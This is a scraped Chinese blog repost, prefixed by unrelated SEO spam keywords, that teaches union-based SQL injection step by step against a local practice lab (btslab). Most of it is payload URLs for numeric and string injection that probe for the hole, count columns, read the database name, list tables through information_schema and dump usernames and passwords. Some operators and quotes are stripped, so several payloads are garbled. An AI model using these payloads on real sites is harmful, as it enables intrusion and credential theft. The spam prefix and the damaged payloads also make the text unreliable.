网上怎么开店卖产品,大连知名的seo外包,怀仁有做网站的公司吗,wordpress支付看文章基于联合调查的SQL注入 我们先了解一下mysql的系统函数 user()database()version()concat()group_concat()datadir当前使用者的用户名当前数据库名数据库版本连接一个或者多个字符串接一个组的所有字符串#xff0c;并以逗号分隔每一条数据读取数据库的绝对路径这里给大家提供… 基于联合调查的SQL注入 我们先了解一下mysql的系统函数 user()database()version()concat()group_concat()datadir当前使用者的用户名当前数据库名数据库版本连接一个或者多个字符串接一个组的所有字符串并以逗号分隔每一条数据读取数据库的绝对路径这里给大家提供一个SQL注入的实验平台。http://localhost/btslab/vulnerability/ForumPosts.php?id1请打开phpstudy使用 数字型注入 我们以http://localhost/btslab/vulnerability/ForumPosts.php?id1为例可以看出这是一个动态URL也就是说可以在地址栏中传参这是SQL注入的基本条件。 1.判断是否能sql注入 http://localhost/btslab/vulnerability/ForumPosts.php?id1 ① 页面返回错误 http://localhost/btslab/vulnerability/ForumPosts.php?id1 and 11 ② 页面返回正常 http://localhost/btslab/vulnerability/ForumPosts.php?id1 and 12 ③ 页面返回错误 如果符合上述三点则我们可以确定可以进行SQL注入且id是一个注入点。 2.查数据库 http://localhost/btslab/vulnerability/ForumPosts.php?id1and ord(mid(version(),1,1))51 如果返回正常页面说明数据库是mysql并且版本大于4.0支持union查询反之是4.0以下版本或者其他类型数据库。 3.查字段 a. http://localhost/btslab/vulnerability/ForumPosts.php?id1 order by 5 返回错误页面说明字段小于5。 b.http://localhost/btslab/vulnerability/ForumPosts.php?id1 order by 4 返回正常页面说明字段为4。 当然我们可以从1开始依次列举。 5.查列数 http://localhost/btslab/vulnerability/ForumPosts.php?id1 and 12 union select 1234 我们发现页面返回给我们两个数字24。 这里的24指是数据储存的位置也就是我们可以把这个数字中的一个或者多个替换成我们想要查询的关键字。 6.查数据库名 http://localhost/btslab/vulnerability/ForumPosts.php?id1 and 12 union select 1,database(),34 浏览器给我们返回了bts 。说明这个网站 的数据库库名是 bts 7.查表 http://localhost/btslab/vulnerability/ForumPosts.php?id1 and 12 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase() 补充一下MYSQL中有个数据库叫 information_schema数据库中有个表名叫tables其中的table_name列储存了所有数据库中的所有表名而table_schema则储存着该表所在的数据库名group_concat可以把多项数据合成一个字符串返回 查到bts下的表名messagespoststdatausers 8.同样我们也可以查询用户名和密码。 http://localhost/btslab/vulnerability/ForumPosts.php?id1 and 12 union select 1,username,3,password 注意这里的users是表名而不是固定的。 字符型注入 简而言之基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型需要使用单引号表示。如select * from 表名 where id 1 在这里我们仍然以http://localhost/btslab/vulnerability/ForumPosts.php?id1 为例。 1.判断是否为字符型注入 http://localhost/btslab/vulnerability/ForumPosts.php?id1 ①页面返回错误 http://localhost/btslab/vulnerability/ForumPosts.php?id1②页面返回正常 如果符合上述情况则可以确定这是字符型注入且id是一个注入点。 2.查字段http://localhost/btslab/vulnerability/ForumPosts.php?id1 order by 1 # 同上 此时数据库中的查询语句为select * from 表名 wher id1 order by 1 # 这里为了达到引号闭合的目的我们需要注释一个引号。 3.查列数http://localhost/btslab/vulnerability/ForumPosts.php?id-1 union select 1,2,3,4 # 4.查数据库名http://localhost/btslab/vulnerability/ForumPosts.php?id-1 union select 1,database(),3,4 # 得到表名bts 5.查表http://localhost/btslab/vulnerability/ForumPosts.php?id-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase() # 6.查询用户名和密码 http://localhost/btslab/vulnerability/ForumPosts.php?id-1 union select 1,username,3,password # 转载于:https://www.cnblogs.com/So7cool/p/9826616.html